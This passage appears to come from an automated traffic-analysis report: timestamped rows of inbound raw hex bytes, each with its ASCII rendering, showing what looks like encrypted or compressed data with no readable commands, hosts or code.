6a 9f 97 85 fd 20 c0 ff c3 05 dd c8 d7 f8 31 6d 7f Data Ascii: e?Z]F{k(pDJtg4)Nm'^"+Uc.u gS{`EMUnsQf~93f(3RTnX\|y'+xP[gZ2i[u'H!hnLl#/>>fIFS<:7Ne;w]sFO32lA?!kT9).AJWj 1m
2023-01-25 08:44:47 UTC	961	IN	Data Raw: dc 17 d4 94 a3 9c cd 29 bd a8 16 20 b1 f9 26 16 20 c5 a5 37 c1 7b 36 3e c1 ae 8c 1e 7c 2d 99 f8 ac e8 e5 e9 cd ba db 4c 02 7a 58 e0 ba 25 4e ad a7 9d a7 a8 9c 09 46 ce ef 20 8c 36 60 6a 66 62 1d 05 05 d6 89 1a c4 12 15 43 4c 1e 5f 01 c1 0d b9 1f 96 9f f6 bc 4c 32 d5 e0 e8 31 25 89 0f ec 5f 80 f2 7b 0b 43 3a 8c 62 87 8d e5 12 00 02 ba a0 b2 32 26 d3 9c 08 c2 06 a4 2c 43 47 64 5e 3b 1f 67 78 b8 e2 47 3d 41 8c 49 06 b4 b4 a4 28 ac 31 04 41 4b 50 f6 4f 02 ea 37 35 bd 60 c4 c6 ab 37 d3 b4 28 d2 b8 85 f1 4e 3e e2 59 3b b9 90 55 11 de a0 29 1d a9 c9 1c db 87 98 ff 47 92 35 1c 8a 8d a0 ea a3 04 49 fd d6 2d a7 87 87 f4 3f 9b ee 41 ef b9 00 8a 81 82 7a 39 32 7d 1b 7b d3 22 c4 30 2b 0d 27 b3 15 49 73 2c 87 07 6a 05 01 4f b5 50 a4 72 1e 57 d7 1d 67 45 39 57 b6 7f 91 Data Ascii: ) & 7{6>\|-LzX%NF 6`jfbCL_L21%_{C:b2&,CGd^;gxG=AI(1AKPO75`7(N>Y;U)G5I-?Az92}{"0+'Is,jOPrWgE9W
2023-01-25 08:44:47 UTC	977	IN	Data Raw: a9 8c e0 15 7c a7 43 62 5f 56 45 6c 03 75 d7 4a 33 56 d7 81 99 69 64 b8 a5 41 16 aa ff df 47 c8 44 aa 89 93 b6 df c7 55 69 a6 87 3b eb cf 31 a6 33 87 2f c0 89 a2 55 19 e3 cd dd 84 38 f8 f2 a3 7d 8c 80 d2 97 c5 56 d4 1e 59 dc c7 0e 13 84 d9 06 46 59 cb a1 87 f1 88 ea 7c ad 59 35 82 e7 ae c9 81 ea 0f b0 28 7f cf 37 da 9b c5 7e 31 ca 95 cd 05 d4 c8 f0 99 10 93 19 5f 50 06 2c 26 a0 c8 34 f6 75 d3 03 24 d8 3e ca 47 3d 2a 5e fe a4 a2 44 f5 89 90 ed 9d 87 8a 57 14 56 55 62 dd 98 6e f2 4e f9 93 de 8e 5d ab 24 04 9a e8 82 ae 37 08 be f0 10 41 a4 b3 1a 37 a1 ad 22 55 df 76 0d 4b 2d 03 d0 a8 c3 a6 d4 71 ba c1 7f ba 07 d7 98 91 17 30 f2 20 86 18 3d fc 12 3d 0a 9b 84 3b f4 a8 16 ab 4f d7 2e cc 9a 60 41 f9 f6 44 24 48 6a c0 9d 31 19 0b d7 f7 af b7 55 1f e2 30 ac 00 22 Data Ascii: \|Cb_VEluJ3VidAGDUi;13/U8}VYFY\|Y5(7~1_P,&4u$>G=*^DWVUbnN]$7A7"UvK-q0 ==;O.`AD$Hj1U0"
2023-01-25 08:44:47 UTC	993	IN	Data Raw: 9e 1e f4 f1 e7 5d 6f 48 99 d6 ac 1c ac 31 00 e5 bd 67 21 2a a8 d8 75 ba d6 ee cf 81 7d 0d d8 e9 0a 53 53 c7 39 d2 3e 99 63 06 f6 81 79 d8 7a f6 5d 96 1d 73 fc 19 b1 b0 04 72 0a 32 89 cb 94 ff 8a cc e3 11 ec 42 44 39 f5 31 75 b5 93 92 25 59 88 74 a2 d6 37 97 f0 1f dd 1c 4f d1 ce 09 f5 f6 5c f1 b6 bf c6 39 0e 5f 23 b0 b9 12 5f 1e e4 6b 56 c1 42 b8 3c 1c 14 aa d1 70 89 92 b9 9e 80 e1 37 b6 2c e4 47 c8 22 9a 67 17 51 37 93 d0 91 b5 8a 55 0d d6 29 89 0c cd db a0 c1 02 19 f8 a0 fd d3 b7 e1 db b5 b9 5c a1 60 ee 6c 48 ff e5 e0 1d 52 b4 b3 a0 1b fa df ac 30 13 bc 0a 8d 18 65 d8 aa de d3 45 d8 ca b8 3e ef 55 b6 83 50 06 3f 34 8c 26 12 2b f1 20 27 3b 60 3a 54 7e 43 8d c0 63 b7 74 13 3f f1 fd 11 f8 c9 88 80 ab f2 8f 2f b0 6d aa 45 38 98 49 30 59 4b 59 9a cb eb 4c b4 Data Ascii: ]oH1g!*u}SS9>cyz]sr2BD91u%Yt7O\9_#_kVB<p7,G"gQ7U)\`lHR0eE>UP?4&+ ';`:T~Cct?/mE8I0YKYL
2023-01-25 08:44:47 UTC	1009	IN	Data Raw: 01 85 9d 69 47 03 e6 bd 27 2d 04 0c f2 dc 13 c1 91 de 81 aa ae 18 64 e6 cf 6c 9d d7 69 5f f0 b8 36 7d 05 3d b6 57 fd fa 4a cb 25 65 ee 36 4a eb 00 37 84 5c 66 29 da 96 c8 65 df 77 2e 98 cc b2 2f b8 f6 d8 5a 2b 90 96 ea 61 30 59 eb 47 5b 44 50 a5 87 88 20 80 be f5 53 c2 bb e1 0a cc 29 02 87 db 2e 8e 4e b5 4a dc f5 25 70 99 bc e3 fe fe 75 e7 b8 09 26 e7 86 2d 3d b0 6a ff 11 6f 36 3b 76 d8 ba e9 0f 3f 00 2a 2f e3 b6 5a f9 89 dc fc 1a c6 f8 fb ca bd 9a fd ea 3d ae 33 d3 f2 01 b6 67 65 69 22 2b 2a 3d b6 ea 40 83 07 aa e8 49 13 a6 9f c1 2b a6 48 9c e5 a4 53 1d 20 25 8e 28 da 09 2c 21 ce 3e ce 9f 81 45 39 14 aa 54 8d b1 b7 f6 8b 24 4b 1a 44 6f 3d c5 d7 0d e3 89 3e c8 39 19 cc c0 b4 7a df 13 6a d2 aa 5c 36 aa 3c 9a d2 8f 59 96 d2 a0 6b 88 e1 8f 2f b2 b0 39 89 48 Data Ascii: iG'-dli_6}=WJ%e6J7\f)ew./Z+a0YG[DP S).NJ%pu&-=jo6;v?/Z=3gei"+=@I+HS %(,!>E9T$KDo=>9zj\6<Yk/9H
2023-01-25 08:44:47 UTC	1025	IN	Data Raw: 13 80 c9 fe cc 46 20 57 ff 04 9b a8 de 66 19 19 5f 26 4a 9a 04 17 ee 54 f5 c7 b4 87 fd d5 58 a8 e4 23 3c 15 20 de 92 ad 4a af 0f 09 8f e7 1e 74 d4 77 43 af 78 46 a6 f7 49 d0 9f 0b 58 f8 6e 76 36 6d 2a da 27 17 99 e7 3a 03 24 cf af 79 a9 6c 84 38 69 22 c8 aa 77 91 8d dc 37 b9 0d be 07 e9 22 db ef b7 3b 27 ff ac b0 f9 e2 87 c6 b5 4e 1f db 53 0b 79 de e7 b5 df 32 55 fe 3a 16 dd 5c bc 50 11 14 99 da c3 e7 f3 d2 f6 9e c7 2f b4 17 0e 0c b8 51 c7 3d 6a 93 3b a4 97 d5 e2 62 5f 5b 47 dc 60 60 46 1c 9c ad 79 d7 6b 8b 44 2e 87 00 01 ca 66 58 00 1a 01 a1 da c8 f3 88 b8 0f 2a 3e ac 98 9b 00 ea 6e f0 b4 83 9a b6 b6 cd 96 54 65 90 19 e5 81 83 bf 94 3e 21 f4 3d 4e 56 bf 01 be f6 e6 1e b3 48 a9 35 0f e4 fb 10 0c 38 81 3e 63 44 b8 dc 7e a0 6b 45 41 aa c0 a7 12 7b a4 a7 8b Data Ascii: F Wf_&JTX#< JtwCxFIXnv6m':$yl8i"w7";'NSy2U:\P/Q=j;b_[G``FykD.fX>nTe>!=NVH58>cD~kEA{
2023-01-25 08:44:47 UTC	1041	IN	Data Raw: c7 79 52 ed 80 78 5a f6 68 ea 36 50 b6 6f 27 07 74 b8 ef 40 90 33 58 2c 2c 0b 28 74 43 c9 57 37 ae ff f2 96 92 16 59 3a 78 c0 68 c1 07 c9 af 9f 9b b4 cb 92 fb 47 76 e5 9e a2 54 5d f8 aa 22 94 9d ec 6d 14 a1 b4 b2 56 18 bd 4b 38 07 e0 5f b3 dd 72 e5 87 d5 2c 49 0c ad 6a 60 34 c9 dd 2c 97 00 d7 c6 9e 57 93 25 cc 2b 14 06 d3 13 2b ec 55 df 75 47 f6 b8 e3 28 a2 63 e1 51 00 7f b9 f8 6b f5 6f 8e 3b e8 20 f7 cb f2 35 9c 49 71 fd 67 ca c5 1a a2 95 0d 17 52 3d 0f c9 c8 7f fa ee 9d a5 cf ec a6 76 d2 90 2f 4f 5c 67 65 ae b3 c0 83 fb 9c c3 89 14 b9 c5 18 4d ec 08 00 0f 1b 10 8d 95 b5 12 13 b8 6d 07 9c 59 c2 06 23 ba e4 b8 34 f6 ca 17 24 07 46 a8 ff 7b 63 fa 82 6c 9a cc d6 6c 13 d1 bc 12 8e f7 63 ec 1c 03 b2 95 22 4d 65 16 9b 5e f1 fa ff 0a be e1 03 0e af 3a 10 04 93 Data Ascii: yRxZh6Po't@3X,,(tCW7Y:xhGvT]"mVK8_r,Ij`4,W%++UuG(cQko; 5IqgR=v/O\geMmY#4$F{cllc"Me^:
2023-01-25 08:44:47 UTC	1057	IN	Data Raw: 21 57 47 40 2d 8f 9e 74 b6 e3 7f fb a2 7f 62 8f 5f cb 18 29 9d 34 60 11 d5 90 71 97 dc 13 35 9a 1c e5 1f e6 ab b2 13 01 31 1d ee d7 fd 89 8d ea 63 01 c9 d8 28 35 6c 80 b7 23 98 57 55 6a c8 d6 16 41 73 ce 45 5a 75 93 d2 2b 75 a8 da 25 2b 41 8f 40 1e 5d c8 75 e7 4f 16 19 3c 08 69 60 38 b9 02 fc 49 a4 cb a0 45 d6 04 3f 3e 41 d7 52 6a d5 a0 1c ab 91 3b f6 00 33 a3 4c bf 0a 53 a5 01 86 66 4e 7f 44 81 a4 61 97 87 a2 d4 e7 76 11 4c d3 af 64 ae be 3c 0c 8f a6 da d0 9d 3c ac 73 cc 7c 9c af 12 92 6d 4a b8 ac 19 23 bf a4 a2 89 66 54 1e 7d 9a 75 85 fd 21 2d 73 a5 ff a2 bf e9 4a 35 33 08 3d 3c dd 06 35 86 ce c9 1a 73 82 78 f9 37 c4 48 5c 33 ef da 07 7f d1 ef f0 d4 18 6c ef 9b aa 12 4c de 73 a2 5f f4 06 8d d3 ab ab 3f 7f c6 d3 30 d9 c0 a1 42 af c8 b6 ff 85 10 20 6f 69 Data Ascii: !WG@-tb_)4`q51c(5l#WUjAsEZu+u%+A@]uO<i`8IE?>ARj;3LSfNDavLd<<s\|mJ#fT}u!-sJ53=<5sx7H\3lLs_?0B oi
2023-01-25 08:44:47 UTC	1073	IN	Data Raw: f9 c4 28 e4 06 ea 72 67 13 b9 45 ff 32 fc dd 5a 05 d9 66 a5 5f 49 42 ef b5 11 9b 76 55 2c 25 3f a1 1e f5 0b 6a 1e d2 35 cc 90 55 3a 25 24 82 94 b7 64 dd e9 2a d7 f8 29 7c a6 51 99 23 81 cb e7 bb 0f 7b d2 97 b5 df fe 0d a0 53 a4 2a 76 38 de 61 ec 82 ee 0e ef d8 92 bb d9 9a 7b 95 89 5b 6d b6 98 6f 84 91 a3 f4 77 85 7e 57 2d 34 e2 33 5e 7f 58 66 48 20 01 9b 50 8d 14 a0 1e 20 52 97 0b 53 07 91 29 92 29 cf cb cf cf 9d 20 95 22 82 9a 74 8e e8 6e f6 ce f8 b7 76 e1 ae 06 f0 61 30 77 5d 4b a2 87 fe 79 f8 8d 4c 4b bc df b7 87 f7 b4 0d e9 e8 c7 fa da 79 e7 65 05 18 6a 6a 76 54 2c 5a 2f 07 7a dc 41 91 9a bb 38 b7 cd 6a be b1 d3 fa 1a 4d 85 50 25 91 70 80 60 be 7a c9 ca d6 a0 72 2a bc e8 88 c1 4d 75 9b 0a d0 85 df a2 a6 d6 a9 47 f4 3d d1 99 91 81 8d 4b 8d fe e4 7c a8 Data Ascii: (rgE2Zf_IBvU,%?j5U:%$d)\|Q#{Sv8a{[mow~W-43^XfH P RS)) "tnva0w]KyLKyejjvT,Z/zA8jMP%p`zr*MuG=K\|
2023-01-25 08:44:47 UTC	1089	IN	Data Raw: 9a b7 9d ca 67 27 03 55 1b e0 99 5b df 4c ba e3 b4 bd 9e 28 f6 38 e7 84 63 ae e5 20 d3 59 71 c0 10 9e fa 72 55 62 4c 44 e1 8d 40 5d 4d 09 09 2b 97 6a e5 1d 9b af 47 94 6c a5 26 86 18 42 f6 52 75 f5 23 c0 55 26 b9 63 e1 b4 ac 06 9f 72 b5 99 58 08 d3 d5 29 ac 2d 10 0e 08 42 88 54 6d c2 63 d7 4e ea 2e 41 e3 07 52 0a f5 fc 95 5b e7 1e c1 b6 bf 41 8c a2 f6 ee 7a 29 04 f2 79 bc bf df c7 41 14 b4 cf 89 e3 9f be c1 e9 7c c7 7d d8 b8 62 e6 d2 09 28 19 f7 77 78 94 ba 17 7e 81 4d 02 b9 85 6b db 2d fc d9 f4 f7 ce 81 b4 80 80 8e fb 1f 89 10 39 89 50 86 e8 f6 5e fb e6 8a 74 0c 7d f9 e5 0f 75 e4 8a 31 1f 54 89 b7 d5 da c1 f4 db 4b ef a4 ae ae 77 33 26 d6 7a 90 ef be 0c e9 96 27 24 de 32 d6 f6 b0 7b a7 32 6f 82 ae 24 df e3 fa e4 cd db 29 65 6b 89 c9 8d 50 a2 d2 00 71 95 Data Ascii: g'U[L(8c YqrUbLD@]M+jGl&BRu#U&crX)-BTmcN.AR[Az)yA\|}b(wx~Mk-9P^t}u1TKw3&z'$2{2o$)ekPq
2023-01-25 08:44:47 UTC	1105	IN	Data Raw: 74 f5 f8 b4 58 67 30 fe 0b b1 ca e4 a9 87 c8 28 0d e9 c2 f3 4b 71 0e ec b5 94 03 99 fa 3e 1d a4 b2 db 57 7a 19 72 ca 84 4e 92 f2 94 6f fe c5 f5 94 62 7b 15 2e 4d 65 89 6b a5 1f db ae 7a f3 fc e4 e3 74 c2 56 f6 77 3a 56 01 ac 9b d2 ba 5a df 2c 87 b3 70 81 bb dd 74 91 39 9b 59 92 30 bd df 23 d5 f7 58 40 b7 c0 3a 75 1f d5 73 b8 86 3e 7b 63 a4 fa c6 90 53 01 a6 5c 1b f2 df 2b 4f 35 67 93 8a 14 e1 52 a4 4c 09 66 70 8f 9a b7 1b 8c 14 eb 6e 30 d5 ff 70 88 09 2c 79 f3 8c 5c ff 0a 57 d1 af 39 53 17 ad bf 05 e1 94 ac 73 13 75 d1 95 22 bd ae 78 c3 2d a6 d4 72 d1 92 7e cd 75 b7 29 2b 08 82 17 fe 2e cf 3c 0f 9c 61 4d 85 ed f4 f8 3f 66 73 bc b9 c9 c4 b2 01 19 36 30 8e b3 2c 04 73 1c 4b 91 74 df 13 f2 c4 9c 81 74 1e 3b fe c9 ba 3f 93 15 11 d3 b4 35 fe 27 19 84 a3 a0 1e Data Ascii: tXg0(Kq>WzrNob{.MekztVw:VZ,pt9Y0#X@:us>{cS\+O5gRLfpn0p,y\W9Ssu"x-r~u)+.<aM?fs60,sKtt;?5'
2023-01-25 08:44:47 UTC	1121	IN	Data Raw: 4b 40 3d 82 c3 0d b1 75 fd 98 f1 04 93 59 0c 86 c3 f6 cc 08 f7 a3 ef 7c ed 6b f6 c0 0a c6 e0 df 43 6f 3d 0c 47 aa 27 a9 7c 6c db 0c d9 b7 84 a2 84 26 ae 73 0f c5 3a 7e a4 33 9c c6 cc 93 d5 59 20 2a 3b 39 ea fd cf 42 8b 7e bf 46 ec 5f 0d 62 3a 53 17 1c e5 79 e4 e3 4c 03 62 42 0e 99 fe c8 08 22 91 a9 bb 59 06 3e 0e 1b 01 42 fe fd b4 cc f8 71 c2 f4 d6 78 65 48 08 f6 05 63 80 1c 8e b8 d6 45 97 33 21 70 04 7c 6a 5e d5 68 d7 8f 29 df 8d 2a 7f 35 27 c4 c8 5d d0 c7 43 d3 81 97 4c b6 47 38 54 70 9e 7e d9 23 f6 86 9c 68 67 be 5f 05 f1 44 28 7f 3a 7d 49 c9 02 b1 73 51 19 85 0e de 5d 42 f4 97 18 d3 9a 84 8c 5b 3e 92 b4 7c 01 17 9a cb a3 7a 14 9d 5b 67 f0 31 d3 a3 f5 2f 4a 4b 3a ab 68 83 6c 82 c4 e8 e3 a3 dd fe 54 d6 c9 e3 8c 49 47 1a 79 f9 a9 e2 59 81 7a 86 43 7d 38 Data Ascii: K@=uY\|kCo=G'\|l&s:~3Y ;9B~F_b:SyLbB"Y>BqxeHcE3!p\|j^h)5']CLG8Tp~#hg_D(:}IsQ]B[>\|z[g1/JK:hlTIGyYzC}8
2023-01-25 08:44:47 UTC	1137	IN	Data Raw: 3b fa 2e 75 87 22 ce ea 59 3a 02 67 b9 a3 2b 52 79 df 45 e9 99 68 a2 27 67 0b b0 ed fb 21 6b 40 c8 57 ca 48 2c e8 61 72 0b 54 46 a2 49 f2 62 8c c9 06 42 0f c0 f8 9a c5 df 23 49 05 b5 90 77 56 06 7a 2b c6 b8 1f 62 3a cb 12 8a 2d 20 9b c5 3d e8 f9 97 ef 64 25 71 78 a9 75 fa 2e a5 dd d6 81 f3 c5 d3 6c 1e ac 47 14 b1 47 26 31 55 bc 37 39 c9 a7 59 2a 30 50 8c 89 f1 b1 38 c0 5f b4 e0 e3 e4 cd 94 cc 54 d9 8a a5 b4 74 e0 47 a6 6c ca af a9 a9 85 73 8a 8e ea 24 74 db 9e 08 97 a3 a0 68 79 84 c0 ca 0b 39 cf 25 43 4c 43 5d a6 c1 03 32 7c 18 e8 41 4e 5f d7 f0 06 c0 9a 12 d8 f7 3b ef 37 ff 07 d8 b3 0b 29 f3 dc 79 7d c2 5e 94 3e f6 cc e8 73 41 d7 d7 18 28 25 a8 f9 d2 e3 1f 35 3a b2 c9 74 bb ba 96 40 42 b4 bb 20 5b 20 f4 da 73 ab fd b4 54 96 8b 6a 7a 28 0c 9b 04 63 3c a5 Data Ascii: ;.u"Y:g+RyEh'g!k@WH,arTFIbB#IwVz+b:- =d%qxu.lGG&1U79Y*0P8_TtGls$thy9%CLC]2\|AN_;7)y}^>sA(%5:t@B [ sTjz(c<
2023-01-25 08:44:47 UTC	1153	IN	Data Raw: ca b1 ad bb bc 3c f1 74 83 60 1b 64 30 1e 24 77 09 f1 29 cc 48 96 a7 5f 69 45 b7 f6 08 ce 64 23 7f 13 21 98 5e 56 66 49 03 36 fd 48 73 4b 0e 8e 0e c7 3d 9c 0a b7 bf 3d 53 4b e0 80 25 b1 10 58 61 cf d4 c8 b3 51 49 b1 28 fb 57 97 03 b1 27 3d 37 71 18 a7 82 ed ba c5 99 2b 95 6c 6b 1e e5 7f 1f b7 ed 97 ec e1 01 92 a6 c8 3a 7b 09 66 f4 74 08 99 b8 8e 60 21 2e d0 8d 87 94 d9 3b dd a5 ca a8 1f f2 12 c9 a4 00 6e 49 f9 d1 80 c4 01 a0 eb e0 53 88 a5 1d c7 31 55 3a 9d 4f 5e 36 ac de 8a 4d 57 90 24 7b 4d 41 3f 31 2b cc 97 14 52 16 72 96 a5 dc fb 51 3c 1d 89 8d f7 2b 70 08 1a 92 66 2d fc 22 72 e9 ca 6c 6a 0f a0 01 8a 89 6c 7b 02 64 28 09 a2 0d 5e c9 94 2b c7 d0 29 5e b9 42 e4 df a8 69 23 8c f0 32 e3 e2 89 56 23 3c 1b 17 79 31 0a c5 ea 9c 48 06 5a 38 af d1 22 ed 1c 79 Data Ascii: <t`d0$w)H_iEd#!^VfI6HsK==SK%XaQI(W'=7q+lk:{ft`!.;nIS1U:O^6MW${MA?1+RrQ<+pf-"rljl{d(^+)^Bi#2V#<y1HZ8"y
2023-01-25 08:44:47 UTC	1169	IN	Data Raw: 51 fc 77 84 57 87 d5 8a 77 e0 a9 66 eb f9 3b ba c3 60 1e d2 84 7d ee 28 41 8c bd a3 eb 29 df 9a 76 88 85 f0 86 1e 74 c8 aa 50 c0 37 69 18 bb d9 c5 c2 72 60 1b 72 bf 33 ef a2 43 16 3d cf 7d 26 ed ac e3 8d d1 ff ca ef f5 88 59 03 d1 22 e5 50 98 5e c8 bb 5b 89 04 e5 a7 28 72 6a c3 98 8c c4 74 99 4e 2e d4 b0 3e 3d 43 52 4b 7a f8 5e a1 b7 85 9b 28 d5 42 50 06 8f 9c 95 fc 55 fb df 61 bb 69 7e a9 48 4a b3 ee f8 2e d6 b0 7e f6 58 9f 42 ed 42 d6 a3 1f e0 d4 56 51 fd 86 22 65 80 64 fc 75 33 08 aa 29 3c 69 a1 df 2e f0 a6 73 28 e9 74 47 56 87 cc da db 67 da 00 eb 07 96 17 c7 f6 78 f5 5b 0b cf a2 50 3b ed 78 d5 b4 4a 35 c2 46 40 5d bc ca 62 b4 aa 6a 97 b5 1e bb 59 0f e5 f4 53 fb a1 ca cd 94 ef e4 3c 6a 9e 77 d0 aa 42 10 34 66 2e 90 86 af 6a dc b2 59 b7 c6 d3 3a 76 a4 Data Ascii: QwWwf;`}(A)vtP7ir`r3C=}&Y"P^[(rjtN.>=CRKz^(BPUai~HJ.~XBBVQ"edu3)<i.s(tGVgx[P;xJ5F@]bjYS<jwB4f.jY:v
2023-01-25 08:44:47 UTC	1185	IN	Data Raw: 89 f7 e2 4d 17 90 b3 c2 d3 53 08 19 5c 75 46 f5 c9 77 02 35 e4 b9 dd 5b 20 d1 e8 bf a1 e8 7a 0b 5f a9 76 77 92 56 0d 2d e3 31 10 f8 6b d2 31 be cd be 16 9c c7 52 48 d9 3e 29 8e 80 bd 8d 0a b3 5f 21 ba f6 f9 8d 19 0e 7a 71 e8 a1 59 47 68 07 1e 2c 9f ff 45 81 17 d5 13 21 8e d0 d3 b1 db 8b 96 e4 df 57 fd b4 37 62 d1 d5 5b 1e 35 d1 07 c1 ee 56 d1 21 02 7a 8d d6 45 70 d2 42 05 17 91 b1 1a 41 ce 7c 4c 29 cf 65 f7 f6 4e 89 ea c2 54 59 b7 87 b3 2b 86 bf 78 38 26 49 65 c5 0b a1 1d 7f a2 c2 3b 58 9c 30 97 49 e0 b9 01 01 07 6e 45 99 bf 30 17 b9 9a b9 42 af 78 4d 4f 00 ab 9f db 49 39 2e 2c c3 2a 77 fa f4 27 32 6d 04 3b cf b3 dd c0 a9 1e 1f 02 63 d3 28 59 49 bc 88 01 41 d3 93 e0 22 3f d7 42 13 e9 1c b4 bd bf 8f a5 7e cc 84 71 08 fb ea 7c 1e aa 1b bf 5c 71 41 da 4e 76 Data Ascii: MS\uFw5[ z_vwV-1k1RH>)_!zqYGh,E!W7b[5V!zEpBA\|L)eNTY+x8&Ie;X0InE0BxMOI9.,*w'2m;c(YIA"?B~q\|\qANv
2023-01-25 08:44:47 UTC	1201	IN	Data Raw: e9 06 1f 8f 04 2c 25 66 fd 74 88 b9 ae 9f 4a d1 13 96 0c aa 6f e9 d8 ff 0e 82 13 6c ca d5 b5 26 dd b1 1f a8 a1 e5 23 03 12 aa d3 64 88 ed 09 b8 63 ee d8 b0 b8 8b a0 06 61 bb cb f2 06 98 96 9c 88 e8 8d 6c 87 ff 7b aa f1 ee 0c 0c 7b 4d ac 1f 63 e4 af 8d 20 43 72 71 d4 62 a5 c8 cc 6e 4a 84 4a 47 40 67 a2 70 1c 79 48 f4 20 2e 2d 0d 54 1e 19 ac 2e 89 e4 7f 69 5f 0a 11 8c 4d 51 21 04 ef dd 8f c4 41 de 44 d6 f9 81 2b 2e 4c 53 d7 35 60 78 77 30 ad aa 4d 6a e9 63 bf c1 b5 b9 27 e0 78 55 87 d6 9c 24 76 01 26 03 01 e9 75 dd 10 64 91 0f 85 51 91 eb 2c 81 b6 c2 ca b6 ad 2e 3a 5c b9 65 eb 40 7d b4 15 51 8d b8 86 0d 9e a3 c0 54 fd a9 2d 9a 94 d7 39 fc 14 06 37 e0 48 92 df 0a a5 a1 57 c5 fe ee b4 7b 86 70 ea 89 1b 5a 80 8c 33 d7 f7 bc 9b c2 81 e6 c2 23 5b 90 af ce 94 22 Data Ascii: ,%ftJol&#dcal{{Mc CrqbnJJG@gpyH .-T.i_MQ!AD+.LS5`xw0Mjc'xU$v&udQ,.:\e@}QT-97HW{pZ3#["
2023-01-25 08:44:47 UTC	1217	IN	Data Raw: 7d 47 0f d1 61 c4 16 19 99 ed 67 f1 af 5f f1 42 06 85 cb 99 09 0d 78 eb 22 05 8f 27 1d 78 d8 ac 2b c3 a2 a2 20 1c a3 e8 63 f0 2e 64 8a 66 fc 98 db 3d 12 81 7b 63 29 05 0d 16 9b eb ef 1d 6b c3 57 e7 dd a9 36 39 4b ac f8 94 32 2b 6f 15 69 f8 ef a6 f9 ec 9f 17 1e 86 b3 ae bc 45 4a ba ef 84 5b ab ac 12 3f 7b 1d 6a 23 16 e3 9d d9 8e 87 09 2a 5f 88 9f 45 91 f0 c8 df 27 e4 33 1c cb d3 a6 cd e6 62 c6 dc ad 14 50 4f 63 38 4c 50 03 3c f9 7d 73 e5 04 a5 62 0c 60 26 94 fd fa 69 6e c5 52 03 4e c8 8f 73 34 50 65 7c 81 e7 ad f8 56 80 c3 9e 9b d8 6e 4c 7f 9c 96 21 2a e0 42 bf 8b 85 aa 20 59 f0 45 15 28 45 da b4 df 78 fd 53 f9 c0 4d 3c 2c 60 42 94 58 2e 44 2b e8 70 08 93 45 b8 a4 90 00 24 60 22 42 26 b7 14 ce d1 99 32 25 a7 3f 3a 82 4f 13 23 63 e4 93 64 04 5d f2 d7 d4 44 Data Ascii: }Gag_Bx"'x+ c.df={c)kW69K2+oiEJ[?{j#_E'3bPOc8LP<}sb`&inRNs4Pe\|VnL!B YE(ExSM<,`BX.D+pE$`"B&2%?:O#cd]D
2023-01-25 08:44:47 UTC	1233	IN	Data Raw: 8b 1f c6 2d b7 65 6e f5 3f c4 16 62 a2 00 af 53 fd ac f2 95 84 99 9d 2f 78 0b 4a 28 5f c2 09 70 d6 62 c5 30 8c b9 58 aa e6 f0 90 86 2e 00 7d f3 9e 7d 0f a4 02 9c 04 cb ca d9 e9 ad 30 c0 2e ed 72 67 d3 60 10 b3 94 1b 47 21 bf 0c 56 7e 2f 77 40 d7 84 78 63 6b 20 78 99 24 38 35 14 81 9a 32 42 e2 18 07 f9 ce 39 65 75 b8 b1 c8 1f 64 06 92 e1 74 b0 38 f6 41 be 30 16 f6 72 55 57 ec de 88 78 95 e2 8d 72 85 66 4a 5e 25 a4 38 54 31 a2 30 05 ef df 0d 7e 3f 12 3e 29 10 9e f9 d2 45 6f c4 8d ff 47 c5 ee 22 d3 6e 44 cf b6 0f 5c c6 93 42 56 76 8c 26 8a c5 2d c9 43 ed dc ef 7f 70 dc 64 8c e0 6c ba 13 7e 33 8a 3c 13 a9 96 c0 13 2c f2 89 d8 3a 7e 45 b7 ba f5 82 d1 60 42 35 25 da 76 bc 57 84 34 b4 6e 64 2f bd 72 cb b5 a5 77 d3 bf b4 c7 23 24 0d 63 36 fa 37 cc cf c7 64 af 20 Data Ascii: -en?bS/xJ(_pb0X.}}0.rg`G!V~/w@xck x$852B9eudt8A0rUWxrfJ^%8T10~?>)EoG"nD\BVv&-Cpdl~3<,:~E`B5%vW4nd/rw#$c67d
2023-01-25 08:44:47 UTC	1249	IN	Data Raw: 30 f5 8c c9 bc 7d e3 27 45 84 70 75 2c a3 8d 34 70 1c 8d 72 17 ca 0b 15 90 9c 37 7f b7 d6 9e 9b 2a 85 2f 55 b4 34 21 c9 a9 ec 7a 43 46 f8 e0 d9 04 e0 11 c6 2f b8 c8 f1 df db 7d 0b 8a 71 f8 71 ae db aa ae 57 5d 17 29 17 26 a6 3f 1d 4d ac 08 87 cc 4f 9f 1c 9b f0 7f 17 87 e8 30 f8 61 5e e2 91 34 8b 9f c2 ed 61 d4 3b c0 4e 8c 98 e0 eb 71 6c 7d 06 d4 83 18 c0 2a a5 62 7b 54 4c de 12 84 cc 20 f3 0a ca 55 23 c1 07 7f 20 7a f4 95 f5 b7 53 df 2f 0b 5d 9b 1a a3 41 22 23 e7 08 b1 f3 89 a4 d2 c7 ec d6 2b 36 30 1f 58 4f ab 89 2a 47 ab 11 7f 02 34 27 bb 3e 25 b3 aa 72 dc ad e8 80 28 5f c4 70 c6 f4 5c 7e d6 b6 c1 78 f3 6d 39 7b ab 49 e4 5f 3e 97 49 40 cc c7 02 7d 7e 34 e8 7d dc a4 63 bd 0c c3 68 bb 66 24 ce f6 ac 52 20 73 6c b1 75 5f 1a de f2 dd 6e 1e a6 76 30 49 24 d8 Data Ascii: 0}'Epu,4pr7/U4!zCF/}qqW])&?MO0a^4a;Nql}b{TL U# zS/]A"#+60XO*G4'>%r(_p\~xm9{I_>I@}~4}chf$R slu_nv0I$
2023-01-25 08:44:47 UTC	1265	IN	Data Raw: 5f 3e 1c 1e d4 b5 2e c0 44 12 a9 1f d3 12 0c 99 6b 62 f1 98 3d c5 d8 8d 91 c8 65 88 79 d2 36 7b b3 7c a4 16 e5 79 b9 ca 8e 99 97 63 04 34 f0 a8 e4 2e fa 97 90 dd 1a e4 92 72 5b 4b 58 ec 7a fe ec b5 00 3d af 74 bf e5 19 bc 3d 71 6c b0 0f 73 89 17 f8 cf e4 70 1f 40 f9 d9 6c 1f 51 96 a6 77 20 67 96 6e a4 ce 4c 3e c3 1b d4 bb b7 63 bc 0a 86 ee fe c0 b2 b3 b2 16 ed 50 ce 2f b4 fc 74 56 a8 ef 0a 98 ac dc 76 91 15 37 06 09 cc 00 b0 31 29 0e fb d3 41 09 12 8f 02 9c 87 40 5a e0 7a e1 cd f9 6f 5d e0 0a 32 bc 20 c2 d7 79 dc e7 db 46 d8 76 8c 1f c9 c0 8a ff 3a 37 bd 69 ab 84 ae c2 0b 17 b2 e2 eb 8d 15 ce 37 ea e0 55 45 e3 ef a9 f3 b7 bb 88 cf 